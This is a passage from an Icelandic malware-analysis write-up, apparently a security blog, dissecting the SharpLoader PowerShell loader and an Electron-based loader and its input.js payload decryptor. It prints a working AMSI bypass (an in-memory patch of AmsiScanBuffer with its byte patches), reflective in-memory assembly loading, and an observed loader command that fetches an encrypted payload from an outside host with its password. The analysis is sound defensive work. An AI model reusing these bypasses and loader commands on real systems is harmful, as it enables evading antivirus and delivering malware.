komast hjá AMSI til að forðast detection frá endpoint-vörnum.",[532,2025,2026,2027,2030,2031,2034,2035,2038,2039,2042,2043,2046],{},"Í SharpLoader er AMSI komist hjá með ",[539,2028,2029],{},"beinum patchi í minni"," á fallinu ",[550,2032,2033],{},"AmsiScanBuffer"," inni í ",[550,2036,2037],{},"amsi.dll",". Þetta fall er venjulega ábyrgt fyrir því að greina innihald scripta og skila niðurstöðukóða sem segir til um hvort innihaldið sé grunsamlegt (",[550,2040,2041],{},"AMSI_RESULT_DETECTED",") eða hreint (",[550,2044,2045],{},"AMSI_RESULT_CLEAN",").",[532,2048,2049],{},"Viðkomandi kóði fyrir patch í minni er:",[587,2051,2055],{"className":2052,"code":2053,"language":2054,"meta":593,"style":593},"language-csharp shiki shiki-themes github-light github-dark","var lib = Win32.LoadLibrary(\"amsi.dll\");\nvar addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\nWin32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\nMarshal.Copy(patch, 0, addr, patch.Length);\n","csharp",[550,2056,2057,2062,2068,2074],{"__ignoreMap":593},[1685,2058,2059],{"class":1687,"line":1688},[1685,2060,2061],{},"var lib = Win32.LoadLibrary(\"amsi.dll\");\n",[1685,2063,2065],{"class":1687,"line":2064},2,[1685,2066,2067],{},"var addr = Win32.GetProcAddress(lib, \"AmsiScanBuffer\");\n",[1685,2069,2071],{"class":1687,"line":2070},3,[1685,2072,2073],{},"Win32.VirtualProtect(addr, (UIntPtr)patch.Length, 0x40, out oldProtect);\n",[1685,2075,2077],{"class":1687,"line":2076},4,[1685,2078,2079],{},"Marshal.Copy(patch, 0, addr, patch.Length);\n",[532,2081,2082],{},"Þessi runa framkvæmir eftirfarandi skref:",[2084,2085,2086,2095,2106,2116],"ol",{},[606,2087,2088,2091,2092,585],{},[539,2089,2090],{},"Hlaðið AMSI-DLL-inu"," inn í ferlið með ",[550,2093,2094],{},"LoadLibrary(\"amsi.dll\")",[606,2096,2097,2100,2101,1255,2103,585],{},[539,2098,2099],{},"Finnið minnisheimilisfangið"," fyrir fallið ",[550,2102,2033],{},[550,2104,2105],{},"GetProcAddress()",[606,2107,2108,2111,2112,2115],{},[539,2109,2110],{},"Breytið minnisvörninni"," á heimilisfanginu með ",[550,2113,2114],{},"VirtualProtect()"," svo það verði skrifanlegt.",[606,2117,2118,1255,2121,2124],{},[539,2119,2120],{},"Skrifið yfir upphaf fallsins",[550,2122,2123],{},"Marshal.Copy()"," og litlum shellcode-patchi.",[532,2126,2127],{},"Patchinn sem notaður er á 64-bita kerfum er:",[587,2129,2131],{"className":2052,"code":2130,"language":2054,"meta":593,"style":593},"static byte[] x64 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3 }; // mov eax, 0x80070057; ret\n",[550,2132,2133],{"__ignoreMap":593},[1685,2134,2135],{"class":1687,"line":1688},[1685,2136,2130],{},[532,2138,2139],{},"Það samsvarar eftirfarandi instructions:",[603,2141,2142,2151],{},[606,2143,2144,2147,2148],{},[550,2145,2146],{},"mov eax, 0x80070057"," → setur skilakóðann á Windows-villukóðann ",[550,2149,2150],{},"E_INVALIDARG",[606,2152,2153,2156],{},[550,2154,2155],{},"ret"," → skilar samstundis úr fallinu",[532,2158,2159,2160,2162],{},"Þetta veldur því í reynd að ",[550,2161,2033],{}," bregst hljóðlega og skilar niðurstöðu um enga detection, sem gerir AMSI-athuganir óvirkar. Malware-ið getur nú keyrt scripta eða .NET-kóða sem annars myndi kveikja á antivirus-alerts.",[532,2164,2165],{},"Sé þetta keyrt á 32-bita kerfi er annar patch notaður:",[587,2167,2169],{"className":2052,"code":2168,"language":2054,"meta":593,"style":593},"static byte[] x86 = new byte[] { 0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00 }; // mov eax, ...; ret 0x18\n",[550,2170,2171],{"__ignoreMap":593},[1685,2172,2173],{"class":1687,"line":1688},[1685,2174,2168],{},[532,2176,2177],{},"Þetta endurspeglar sama markmið, að þvinga fram \"hreina\" niðurstöðu, en aðlagað að x86-kallvenjunni.",[532,2179,2180,2181,619,2184,557,2187,2190],{},"Notkun hreinna P/Invoke-kalla eins og ",[550,2182,2183],{},"LoadLibrary",[550,2185,2186],{},"GetProcAddress",[550,2188,2189],{},"VirtualProtect"," gerir kleift að framkvæma þennan patch dýnamískt og án þess að kalla á nokkur háþrepa API sem EDR-verkfæri gætu vaktað. Þessi aðferð er þjöpp, áhrifarík og skilur eftir sig lágmark af forensic-artifacts.",[532,2192,2193,2194,2197],{},"Í stuttu máli er þessi aðferð til að komast hjá AMSI ",[539,2195,2196],{},"lágþrepa árás beint á minni antivirus-viðmótsins",", framkvæmd á millisekúndum á keyrslutíma. Hún er sterkt dæmi um það hvers vegna hegðunarvöktun og skoðun á minni eru ómissandi í nútíma vörnum á endpointum.",[713,2199,2201],{"id":2200},"_43-meðhöndlun-payloads-á-þrepi-2","4.3 Meðhöndlun payloads á þrepi 2",[532,2203,719],{},[532,2205,2206,2207,2210],{},"Eftir að komist hefur verið hjá AMSI heldur loaderinn áfram og sækir og undirbýr payloadinn á öðru þrepi. Þessi payload er ekki innbyggður í loadernum sjálfum heldur er hann sóttur annaðhvort frá fjartengdum server eða lesinn af diski, allt eftir því hvernig loaderinn er kallaður með ",[550,2208,2209],{},"$location","-breytunni.",[532,2212,2213,2214,2217,2218,2221,2222,2225,2226,2229,2230,585],{},"Ef staðsetningin byrjar á ",[550,2215,2216],{},"http"," er hún túlkuð sem URL og loaderinn notar ",[550,2219,2220],{},"Get_Stage2()"," til að sækja payloadinn með ",[550,2223,2224],{},"HttpWebRequest",". Sé hún staðbundin slóð les ",[550,2227,2228],{},"Get_Stage2disk()"," innihaldið beint úr skráakerfinu. Í báðum tilvikum er væntanlegt skráarinnihald blob sem er ",[539,2231,2232],{},"Base64-kóðað, GZip-þjappað og AES-dulkóðað",[532,2234,2235,2236,2239],{},"Loaderinn framkvæmir svo ",[539,2237,2238],{},"afkóðunarpípu í fjórum þrepum"," alfarið í minni:",[2084,2241,2242,2248,2258,2268],{},[606,2243,2244,2247],{},[539,2245,2246],{},"Base64-afkóðun",": umbreytir kóðaða strengnum í hrá bæti. Þessu skrefi er ætlað að hylja hið eiginlega innihald binaries fyrir statískum skoðunartólum og hindra einfalda mynsturleit.",[606,2249,2250,2253,2254,2257],{},[539,2251,2252],{},"GZip-afþjöppun",": afkóðuðu bætin eru send í ",[550,2255,2256],{},"GZipStream"," sem afþjappar payloadinn. Þjöppunin minnkar skráarstærðina og bætir enn einu lagi af obfuskun við.",[606,2259,2260,2263,2264,2267],{},[539,2261,2262],{},"AES-afkóðun",": þjöppuðu bætin eru afkóðuð með AES (Rijndael) í CBC-móð. Lykillinn er leiddur á keyrslutíma út frá lykilorðinu sem notandinn gefur, með SHA-256-hashi ásamt PBKDF2 (",[550,2265,2266],{},"Rfc2898DeriveBytes",") og fastri salt.",[606,2269,2270,2273],{},[539,2271,2272],{},"Salt fjarlægð",": afkóðaða niðurstaðan inniheldur enn salt-forskeyti með fastri lengd (4 bæti). Þessi bæti eru fjarlægð handvirkt til að fá hreina binary-blobbið sem er gilt .NET assembly.",[532,2275,2276],{},"Afkóðunarpípan er keyrð þannig:",[587,2278,2280],{"className":2052,"code":2279,"language":2054,"meta":593,"style":593},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\nbyte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[550,2281,2282,2287],{"__ignoreMap":593},[1685,2283,2284],{"class":1687,"line":1688},[1685,2285,2286],{},"byte[] passwordBytes = SHA256.Create().ComputeHash(Encoding.UTF8.GetBytes(password));\n",[1685,2288,2289],{"class":1687,"line":2064},[1685,2290,2291],{},"byte[] bytesDecrypted = AES_Decrypt(decompressed, passwordBytes);\n",[532,2293,2294,2295,2298],{},"Hér er ",[550,2296,2297],{},"AES_Decrypt()"," sérsmíðað fall sem pakkar Rijndael-algríminu inn, stillt með 256-bita lykli og 128-bita IV (initialization vector), bæði leidd út frá lykilorðinu.",[532,2300,2301],{},[539,2302,2303],{},"Helstu athuganir á hönnuninni:",[603,2305,2306,2309,2312],{},[606,2307,2308],{},"Notkun AES-CBC með PBKDF2 gerir brute-forcing á lykilorðinu ekki einfalt mál.",[606,2310,2311],{},"Þar sem afkóðun fer fram í minni eru engar milliniðurstöður nokkurn tímann skrifaðar á disk, sem dregur úr forensic-artifacts.",[606,2313,2314],{},"Sé rangt lykilorð gefið misheppnast afkóðunin hljóðlega eða framleiðir ógild gögn, sem getur leitt til misheppnaðrar keyrslu eða torrekjanlegra undantekninga.",[532,2316,2317],{},"Í stuttu máli hækkar þessi fjölþrepa meðhöndlun payloads þröskuldinn töluvert fyrir statíska detection, bæði þá sem byggir á signature og þá sem byggir á heuristík. Án þess að keyra kóðann í raun eða skoða hegðun loadersins í þaula eru þeir sem verjast ólíklegir til að finna innbyggða payloadinn nema þeir þekki líka lykilorðið og nákvæmu afkóðunarrökvísina.",[713,2319,2321],{"id":2320},"_44-dýnamísk-hleðsla-assemblies","4.4 Dýnamísk hleðsla assemblies",[532,2323,719],{},[532,2325,2326],{},"Eftir að payloadinn á öðru þrepi hefur verið afkóðaður með árangri er bætaröðin sem út kemur gilt .NET assembly. Í stað þess að skrifa þetta assembly á disk, sem er algengur indicator fyrir antivirus- eða EDR-kerfi, keyrir SharpLoader það beint í minni með reflection:",[587,2328,2330],{"className":2052,"code":2329,"language":2054,"meta":593,"style":593},"Assembly a = Assembly.Load(bin);\na.EntryPoint.Invoke(null, new object[] { commands });\n",[550,2331,2332,2337],{"__ignoreMap":593},[1685,2333,2334],{"class":1687,"line":1688},[1685,2335,2336],{},"Assembly a = Assembly.Load(bin);\n",[1685,2338,2339],{"class":1687,"line":2064},[1685,2340,2341],{},"a.EntryPoint.Invoke(null, new object[] { commands });\n",[532,2343,2344,2345,2348],{},"Þessi tækni er kölluð ",[539,2346,2347],{},"fileless keyrsla",". Hún er mjög evasiv því hún:",[603,2350,2351,2354,2357],{},[606,2352,2353],{},"Kemur aldrei við diskinn og skilur engin skráarbundin IOC (indicators of compromise) eftir sig",[606,2355,2356],{},"Gerir hefðbundna forensic-söfnun erfiðari, því ekkert binary er varðveitt á diski",[606,2358,2359],{},"Kemst hjá statískri signature-byggðri detection, því AV-engines byggja oft á skönnun skráa",[532,2361,2362,2363,2366,2367,2370],{},"Ef ",[550,2364,2365],{},"EntryPoint"," er ekki ",[550,2368,2369],{},"static"," hefur loaderinn vararökvísi:",[587,2372,2374],{"className":2052,"code":2373,"language":2054,"meta":593,"style":593},"MethodInfo method = a.EntryPoint;\nif (method != null)\n{\n    object o = a.CreateInstance(method.Name);\n    method.Invoke(o, null);\n}\n",[550,2375,2376,2381,2386,2391,2396,2402],{"__ignoreMap":593},[1685,2377,2378],{"class":1687,"line":1688},[1685,2379,2380],{},"MethodInfo method = a.EntryPoint;\n",[1685,2382,2383],{"class":1687,"line":2064},[1685,2384,2385],{},"if (method != null)\n",[1685,2387,2388],{"class":1687,"line":2070},[1685,2389,2390],{},"{\n",[1685,2392,2393],{"class":1687,"line":2076},[1685,2394,2395],{},"    object o = a.CreateInstance(method.Name);\n",[1685,2397,2399],{"class":1687,"line":2398},5,[1685,2400,2401],{},"    method.Invoke(o, null);\n",[1685,2403,2405],{"class":1687,"line":2404},6,[1685,2406,2407],{},"}\n",[532,2409,2410,2411,2414],{},"Þetta tryggir samhæfni við assemblies sem þurfa hlut sem búið er að frumstilla til að keyra (t.d. ",[550,2412,2413],{},"public int Main()"," inni í klasatilviki). Kóðinn býr dýnamískt til tilvik af klasanum og kallar svo á entry point-fallið.",[532,2416,2417],{},"Ásamt því að komast hjá AMSI og afkóðun í minni færir þessi búnaður endanlega payloadinn til keyrslu á hljóðlátan og alfarið fileless hátt, sem er einkennismerki nútíma evasivs malware.",[713,2419,2421],{"id":2420},"_45-breytur-á-skipanalínu-og-sveigjanleiki","4.5 Breytur á skipanalínu og sveigjanleiki",[532,2423,719],{},[532,2425,2426,2427,2429],{},"PowerShell-fallinu ",[550,2428,1893],{}," er ætlað að vera sveigjanlegur wrapper fyrir hvaða .NET-payload sem er. Það styður dýnamískt inntak bæði á staðsetningu payloads og argument, sem gerir kleift að endurnýta eitt loader-tilvik í mörgum aðgerðum eða herferðum.",[532,2431,2432],{},[539,2433,2434],{},"Studdar breytur:",[603,2436,2437,2443,2449,2469],{},[606,2438,2439,2442],{},[550,2440,2441],{},"-location"," (skylda): tilgreinir annaðhvort URL eða staðbundna skráaslóð á dulkóðaða payloadinn á þrepi tvö.",[606,2444,2445,2448],{},[550,2446,2447],{},"-password"," (skylda): notað til að leiða AES-afkóðunarlykilinn.",[606,2450,2451,619,2454,619,2457,2460,2461,2464,2465,2468],{},[550,2452,2453],{},"-argument",[550,2455,2456],{},"-argument2",[550,2458,2459],{},"-argument3"," (valkvæmt): þessum er áframsent beint í ",[550,2462,2463],{},"Main()","-fall ",[550,2466,2467],{},".NET","-assemblysins með reflection.",[606,2470,2471,2474],{},[550,2472,2473],{},"-noArgs",": kveikir keyrslu án þess að senda nokkrar breytur í payloadinn á öðru þrepi.",[532,2476,2477],{},"Innanhúss er argumentunum safnað og þeim áframsent þannig:",[587,2479,2481],{"className":1679,"code":2480,"language":1681,"meta":593,"style":593},"object[] cmd = args.Skip(2).ToArray();\na.EntryPoint.Invoke(null, new object[] { cmd });\n",[550,2482,2483,2488],{"__ignoreMap":593},[1685,2484,2485],{"class":1687,"line":1688},[1685,2486,2487],{},"object[] cmd = args.Skip(2).ToArray();\n",[1685,2489,2490],{"class":1687,"line":2064},[1685,2491,2492],{},"a.EntryPoint.Invoke(null, new object[] { cmd });\n",[532,2494,2495],{},"Það þýðir að .NET-payloadinn er væntur til að hafa signature á þessa leið:",[587,2497,2499],{"className":2052,"code":2498,"language":2054,"meta":593,"style":593},"static void Main(string[] args)\n",[550,2500,2501],{"__ignoreMap":593},[1685,2502,2503],{"class":1687,"line":1688},[1685,2504,2498],{},[532,2506,2507,2508,2510],{},"eða hann fellur snurðulaust yfir í ",[550,2509,2463],{},"-afbrigðið án breyta í gegnum vararökvísina. Þessi hegðun gerir red teams eða höfundum malware kleift að búa til fjölnota önnur þrep sem geta framkvæmt ólíkar aðgerðir eftir inntakinu, til dæmis ræst implant, safnað kerfisupplýsingum eða hafið C2-samskipti.",[532,2512,2513],{},"Slík einingaskipting og stillanleiki eru lykileinkenni háþróaðra malware-frameworka og sýna hvernig scriptbyggðir loaders geta hagað sér sem mjög aðlögunarhæf keyrsluumhverfi fyrir payloads neðar í keðjunni.",[713,2515,2517],{"id":2516},"_46-dæmi-um-notkun-í-raunheimum","4.6 Dæmi um notkun í raunheimum",[532,2519,719],{},[532,2521,2522],{},"Til að sýna keyrslu SharpLoader í raunverulegri herferð má skoða eftirfarandi kall sem sást í umferð:",[587,2524,2526],{"className":1679,"code":2525,"language":1681,"meta":593,"style":593},"Invoke-SharpLoader -location \"https://cosmoplwnets.xyz/.well-known/pki-validation/calc.enc\" -password UwUFufu1 -noArgs\n",[550,2527,2528],{"__ignoreMap":593},[1685,2529,2530],{"class":1687,"line":1688},[1685,2531,2525],{},[532,2533,2534],{},"Þetta dæmi undirstrikar dæmigerða notkun SharpLoader:",[603,2536,2537,2551,2563,2573],{},[606,2538,2539,2542,2543,2546,2547,2550],{},[539,2540,2541],{},"Location-argumentið",": URL-ið vísar á fjartengdan server sem hýsir ",[550,2544,2545],{},"calc.enc",", hulinn payload á öðru þrepi. Endapunkturinn liggur undir ",[550,2548,2549],{},".well-known","-möppu sem virðist lögmæt og er oft notuð við staðfestingu HTTPS-skilríkja, sem hjálpar URL-inu að falla inn í lögmæta vefumferð.",[606,2552,2553,971,2556,2558,2559,2562],{},[539,2554,2555],{},"Einkenni payloadsins",[550,2557,2545],{}," er ",[539,2560,2561],{},"þrefalt obfuskeruð skrá",", Base64-kóðuð, GZip-þjöppuð og AES-dulkóðuð. Þessi obfuskunarpípa tryggir að payloadinn er ógegnsær flestum detection-búnaði nema hann sé keyrður og afkóðaður að fullu í minni.",[606,2564,2565,2568,2569,2572],{},[539,2566,2567],{},"Password-argumentið",": strengurinn ",[550,2570,2571],{},"UwUFufu1"," er notaður á keyrslutíma til að leiða AES-lykilinn með SHA-256 og PBKDF2. Án þessa lykilorðs er ekki hægt að afkóða payloadinn, sem gerir greiningu án samhengis utan keyrslu nánast ómögulega.",[606,2574,2575,2578,2579,2581],{},[539,2576,2577],{},"Engin viðbótarargument",": rofinn ",[550,2580,2473],{}," gefur til kynna að engar breytur á skipanalínu séu sendar í afkóðaða .NET-assemblyið, sem kveikir sjálfgefna keyrsluleið þess.",[532,2583,2584,2585,2588],{},"Þessi hljóðláta kallkeðja rúmar kjarnatilgang SharpLoader: ",[539,2586,2587],{},"fileless, aðlögunarhæfa og örugga afhendingu payloads"," með einfaldri PowerShell-setningagerð og hámarks obfuskun og evasion.",[713,2590,2592],{"id":2591},"_47-samantekt","4.7 Samantekt",[532,2594,719],{},[532,2596,2597,2598,2600],{},"Smíðin ",[550,2599,1893],{}," er dæmi um afar fágaða og evasiva aðferð til að staging-a malware, sem nýtir innbyggða kerfishluta, reflection og dulkóðun til að starfa nánast alfarið í minni.",[532,2602,2603],{},[539,2604,2605],{},"Helstu punktar:",[603,2607,2608,2617,2623,2629],{},[606,2609,2610,2613,2614,2616],{},[539,2611,2612],{},"Komist hjá AMSI",": beinn patch í minni á ",[550,2615,2033],{}," gerir skoðun antivirus óvirka án þess að kalla á API sem greinast.",[606,2618,2619,2622],{},[539,2620,2621],{},"Örugg meðhöndlun payloads",": að sækja dulkóðaða og þjappaða payloads á þrepi tvö tryggir trúnað og bætir við mörgum lögum af evasion.",[606,2624,2625,2628],{},[539,2626,2627],{},"Keyrsla eingöngu í minni",": afkóðaðir payloads eru aldrei skrifaðir á disk, sem gerir detection með hefðbundnum skráabundnum skönnurum nánast ómögulega.",[606,2630,2631,2634],{},[539,2632,2633],{},"Einingaskiptur og endurnýtanlegur arkitektúr",": með PowerShell-breytum má endurnýta SharpLoader sveigjanlega í mörgum herferðum með ólíkum payloads og keyrsluhegðun.",[527,2636,2638,2639,2641],{"id":2637},"_5-deep-dive-mainexe-electron-byggður-malware-loader","5. Deep Dive: ",[550,2640,577],{}," – Electron-byggður malware-loader",[532,2643,534],{},[532,2645,2646,2647,2649,2650,2653,2654,557,2656,2658],{},"Við reverse engineering varð ljóst að ",[550,2648,577],{},", sem Microsoft Defender for Endpoint hafði merkt, var ekki hefðbundið binary heldur ",[539,2651,2652],{},"Electron-byggður malware-loader",". Það var afhent inni í safnskrá sem hét ",[550,2655,1827],{},[550,2657,573],{}," sótti og pakkaði út á keyrslutíma. Eftir útpökkun líktist uppbyggingin og innihaldið mjög dæmigerðu Electron-forriti.",[713,2660,2662],{"id":2661},"_51-að-þekkja-electron-uppbyggingu","5.1 Að þekkja Electron-uppbyggingu",[532,2664,719],{},[532,2666,2667],{},"Í útdregnu möppunni voru meðal annars þessar skrár:",[603,2669,2670,2681,2689,2695],{},[606,2671,2672,619,2675,619,2678],{},[550,2673,2674],{},"chrome_100_percent.pak",[550,2676,2677],{},"v8_context_snapshot.bin",[550,2679,2680],{},"d3dcompiler_47.dll",[606,2682,2683,557,2686],{},[550,2684,2685],{},"LICENSES.chromium",[550,2687,2688],{},"LICENSES.electron",[606,2690,2691,2692,2694],{},"Stórt ",[550,2693,577],{},"-binary (~150 MB)",[606,2696,2697,2699,2700,2702,2703],{},[550,2698,1837],{},"-mappa sem innihélt ",[550,2701,1045],{}," og annað binary, ",[550,2704,2705],{},"elevate.exe",[532,2707,2708],{},[747,2709],{"alt":2710,"src":2711},"Pökkuð 64-bita Windows-útgáfa af skjáborðsforritinu","https://res.cloudinary.com/c4a8/image/upload/v1749796955/blog/pics/electron-app-windows-x64.png",[532,2713,2714,2715,2717],{},"Allt þetta eru sterkar vísbendingar um Electron-forrit, sem notar Chromium og Node.js til að pakka JavaScript-byggðum skjáborðsforritum. Tilvist ",[550,2716,2705],{},", undirritaðs Microsoft-binaries sem oft er notað til að auka réttindi, vakti frekari tortryggni, því það má misnota til að ræsa barnferli með upphöfnum réttindum.",[713,2719,2721],{"id":2720},"_52-útpökkun-og-statísk-greining-deep-dive","5.2 Útpökkun og statísk greining (deep dive)",[532,2723,719],{},[532,2725,2726,2727,2729,2730,2732,2733,2735,2736,2738,2739,2742],{},"Í stað þess að keyra ",[550,2728,577],{}," valdi ég statíska greiningu til að forðast að kveikja á nokkurri raunverulegri hegðun. Upphafleg tilgáta mín um að ",[550,2731,577],{}," væri byggt með Electron var staðfest þegar ",[550,2734,1045],{},"-skráin fannst inni í ",[550,2737,1837],{},"-möppunni. Í Electron-forritum inniheldur þessi safnskrá alla kjarnarökvísi forritsins, svo sem JavaScript-skrár, uppsetningu (",[550,2740,2741],{},"package.json",") og tilföng, pakkað á sérsniðnu sniði til að auka afköst og obfuskera.",[532,2744,2745,2748,2749,2752],{},[550,2746,2747],{},".asar","-safnskráin er í grunninn skrifvarið ílát með háum afköstum, sambærilegt ",[550,2750,2751],{},".zip"," en fínstillt fyrir runtime Electron. Þótt hún sé ekki dulkóðuð obfuskerar hún aðgang að kóðanum og gerir statíska greiningu erfiðari nema pakkað sé út.",[532,2754,2755,2756,2759],{},"Til að pakka henni út notaði ég hið opinbera ",[550,2757,2758],{},"asar","-tól sem kemur í gegnum npm. Skrefin voru:",[587,2761,2765],{"className":2762,"code":2763,"language":2764,"meta":593,"style":593},"language-bash shiki shiki-themes github-light github-dark","npm install -g asar\nasar extract app.asar extracted_app\n","bash",[550,2766,2767,2784],{"__ignoreMap":593},[1685,2768,2769,2773,2777,2781],{"class":1687,"line":1688},[1685,2770,2772],{"class":2771},"sScJk","npm",[1685,2774,2776],{"class":2775},"sZZnC"," install",[1685,2778,2780],{"class":2779},"sj4cs"," -g",[1685,2782,2783],{"class":2775}," asar\n",[1685,2785,2786,2788,2791,2794],{"class":1687,"line":2064},[1685,2787,2758],{"class":2771},[1685,2789,2790],{"class":2775}," extract",[1685,2792,2793],{"class":2775}," app.asar",[1685,2795,2796],{"class":2775}," extracted_app\n",[532,2798,2799,2800,2803],{},"Skipanirnar hér fyrir ofan drógu innihaldið út í vinnumöppu (",[550,2801,2802],{},"extracted_app/","), sem afhjúpaði hinn eiginlega JavaScript-forritskóða. Þar var meðal annars:",[603,2805,2806,2827,2835],{},[606,2807,2808,619,2811,619,2814,2817,2818,2820,2821,2823,2824,2826],{},[550,2809,2810],{},"jscryter.js",[550,2812,2813],{},"input.js",[550,2815,2816],{},"obf.js",": þessi script mynda malware-rökvísina. ",[550,2819,2810],{}," virðist stjórna afhendingu payloads, ",[550,2822,2813],{}," skilgreinir uppsetningarfasta eða skipanarökvísi, og ",[550,2825,2816],{}," er mjög obfuskerað script sem líklega inniheldur kjarnarökvísi payloadsins.",[606,2828,2829,619,2831,2834],{},[550,2830,2741],{},[550,2832,2833],{},"package-lock.json",": skilgreina runtime-umhverfið",[606,2836,2837,2840,2841,619,2844,619,2847],{},[550,2838,2839],{},"node_modules/",": inniheldur allar háðar einingar eins og ",[550,2842,2843],{},"axios",[550,2845,2846],{},"adm-zip",[550,2848,2849],{},"child_process",[532,2851,2852,2853,2855,2856,585],{},"Útpakkaða innihaldið gaf fullt gagnsæi í rökvísi malware-sins án þess að keyra þyrfti kóðann, sem var forsenda öruggs reverse engineering. Þetta skref staðfesti að ",[550,2854,577],{}," var einvörðungu runtime-wrapper utan um illgjörnu scriptin sem földu sig inni í ",[550,2857,1045],{},[713,2859,2861],{"id":2860},"_53-hvað-statíska-greiningin-afhjúpaði","5.3. Hvað statíska greiningin afhjúpaði",[532,2863,719],{},[532,2865,2866],{},"Með því að skoða kóðann handvirkt staðfesti ég að malware-rökvísin var alfarið JavaScript-byggð og keyrði innan runtime Electron. Scriptunum var ætlað að:",[603,2868,2869,2876,2881,2884],{},[606,2870,2871,2872,2875],{},"Sækja dulkóðaðan payload (",[550,2873,2874],{},"pyth.zip",") frá vara-URL-um",[606,2877,2878,2879],{},"Pakka safnskránni út með ",[550,2880,2846],{},[606,2882,2883],{},"Framkvæma strengjaskipti til að skjóta inn tilteknum credentials eða veskjaheimilisföngum",[606,2885,2886,2887,2889,2890,557,2893],{},"Ræsa Python-skrána sem út kemur (",[550,2888,581],{},") í gegnum ",[550,2891,2892],{},"child_process.exec()",[550,2894,552],{},[532,2896,2897,2898,2904],{},"Það sem mestu máli skiptir er að loaderinn hafði einnig rökvísi til að ",[539,2899,2900,2901,2903],{},"afrita ",[550,2902,573],{}," inn í AppData-möppu notandans"," ef það var ekki þegar til staðar, sem styrkti persistence og hélt sýkingarlykkjunni gangandi.",[527,2906,2908,2909,2911],{"id":2907},"_6-deep-dive-inputjs-dulkóðaði-javascript-payload-loaderinn","6. Deep Dive: ",[550,2910,2813],{}," – dulkóðaði JavaScript-payload-loaderinn",[532,2913,534],{},[532,2915,2916,2918],{},[550,2917,2813],{}," er lykilhluti í malware-keðjunni sem greind var og virkar sem miðstöð afkóðunar og keyrslu fyrir dulkóðaðan JavaScript-payload. Þetta script felur kjarnavirkni sína bak við sterkt dulkóðunarlag og sýnir hegðun sína aðeins á keyrslutíma.",[713,2920,2922],{"id":2921},"_61-verklag-dulkóðunar-og-afkóðunar","6.1 Verklag dulkóðunar og afkóðunar",[532,2924,719],{},[532,2926,2927,2928,2930],{},"Við fyrstu sýn inniheldur ",[550,2929,2813],{}," mjög lítinn læsilegan kóða. Meginhlutverk þess er hins vegar að afkóða og keyra stórt obfuskerað JavaScript-blob sem geymt er inni í scriptinu sjálfu.",[861,2932,2934],{"id":2933},"_611-rökvísi-afkóðunar","6.1.1 Rökvísi afkóðunar",[532,2936,867],{},[532,2938,2939,2940,2943],{},"Scriptið skilgreinir ",[550,2941,2942],{},"decrypt()","-fall sem tekur fjórar breytur:",[603,2945,2946,2952,2958,2964],{},[606,2947,2948,2951],{},[550,2949,2950],{},"encdata",": dulkóðuðu Base64-kóðuðu gögnin",[606,2953,2954,2957],{},[550,2955,2956],{},"masterkey",": lykilfrasi í plaintext",[606,2959,2960,2963],{},[550,2961,2962],{},"salt",": dulkóðunarsalt (Base64)",[606,2965,2966,2969],{},[550,2967,2968],{},"iv",": initialization vector fyrir AES-afkóðun (Base64)",[532,2971,2972,2973,2976],{},"Afkóðunin er útfærð með ",[550,2974,2975],{},"crypto","-einingunni sem er innbyggð í Node.js. Hún gengur fyrir sig þannig:",[2084,2978,2979,3090,3203],{},[606,2980,2981,2984,2985,3064],{},[539,2982,2983],{},"Lykilleiðsla:","\nScriptið leiðir 256-bita samhverfan lykil með PBKDF2 (Password-Based Key Derivation Function 2):",[587,2986,2990],{"className":2987,"code":2988,"language":2989,"meta":593,"style":593},"language-js shiki shiki-themes github-light github-dark","const key = crypto.pbkdf2Sync(\n  masterkey,\n  Buffer.from(salt, \"base64\"),\n  100000,\n  32,\n  \"sha512\",\n);\n","js",[550,2991,2992,3014,3019,3036,3044,3051,3058],{"__ignoreMap":593},[1685,2993,2994,2998,3001,3004,3008,3011],{"class":1687,"line":1688},[1685,2995,2997],{"class":2996},"szBVR","const",[1685,2999,3000],{"class":2779}," key",[1685,3002,3003],{"class":2996}," =",[1685,3005,3007],{"class":3006},"sVt8B"," crypto.",[1685,3009,3010],{"class":2771},"pbkdf2Sync",[1685,3012,3013],{"class":3006},"(\n",[1685,3015,3016],{"class":1687,"line":2064},[1685,3017,3018],{"class":3006},"  masterkey,\n",[1685,3020,3021,3024,3027,3030,3033],{"class":1687,"line":2070},[1685,3022,3023],{"class":3006},"  Buffer.",[1685,3025,3026],{"class":2771},"from",[1685,3028,3029],{"class":3006},"(salt, ",[1685,3031,3032],{"class":2775},"\"base64\"",[1685,3034,3035],{"class":3006},"),\n",[1685,3037,3038,3041],{"class":1687,"line":2076},[1685,3039,3040],{"class":2779},"  100000",[1685,3042,3043],{"class":3006},",\n",[1685,3045,3046,3049],{"class":1687,"line":2398},[1685,3047,3048],{"class":2779},"  32",[1685,3050,3043],{"class":3006},[1685,3052,3053,3056],{"class":1687,"line":2404},[1685,3054,3055],{"class":2775},"  \"sha512\"",[1685,3057,3043],{"class":3006},[1685,3059,3061],{"class":1687,"line":3060},7,[1685,3062,3063],{"class":3006},");\n",[603,3065,3066,3072,3078,3084],{},[606,3067,3068,3071],{},[539,3069,3070],{},"Hashfall:"," SHA-512",[606,3073,3074,3077],{},[539,3075,3076],{},"Ítranir:"," 100.000",[606,3079,3080,3083],{},[539,3081,3082],{},"Lykillengd:"," 32 bæti (256 bitar)",[606,3085,3086,3089],{},[539,3087,3088],{},"Salt:"," gefið sem Base64-afkóðað inntak",[606,3091,3092,3095,3096,3146,3148,3149],{},[539,3093,3094],{},"AES-256-CBC-afkóðun:","\nLeiddi lykillinn er svo notaður til að búa til AES-decipher-hlut:",[587,3097,3099],{"className":2987,"code":3098,"language":2989,"meta":593,"style":593},"const decipher = crypto.createDecipheriv(\n  \"aes-256-cbc\",\n  key,\n  Buffer.from(iv, \"base64\"),\n);\n",[550,3100,3101,3117,3124,3129,3142],{"__ignoreMap":593},[1685,3102,3103,3105,3108,3110,3112,3115],{"class":1687,"line":1688},[1685,3104,2997],{"class":2996},[1685,3106,3107],{"class":2779}," decipher",[1685,3109,3003],{"class":2996},[1685,3111,3007],{"class":3006},[1685,3113,3114],{"class":2771},"createDecipheriv",[1685,3116,3013],{"class":3006},[1685,3118,3119,3122],{"class":1687,"line":2064},[1685,3120,3121],{"class":2775},"  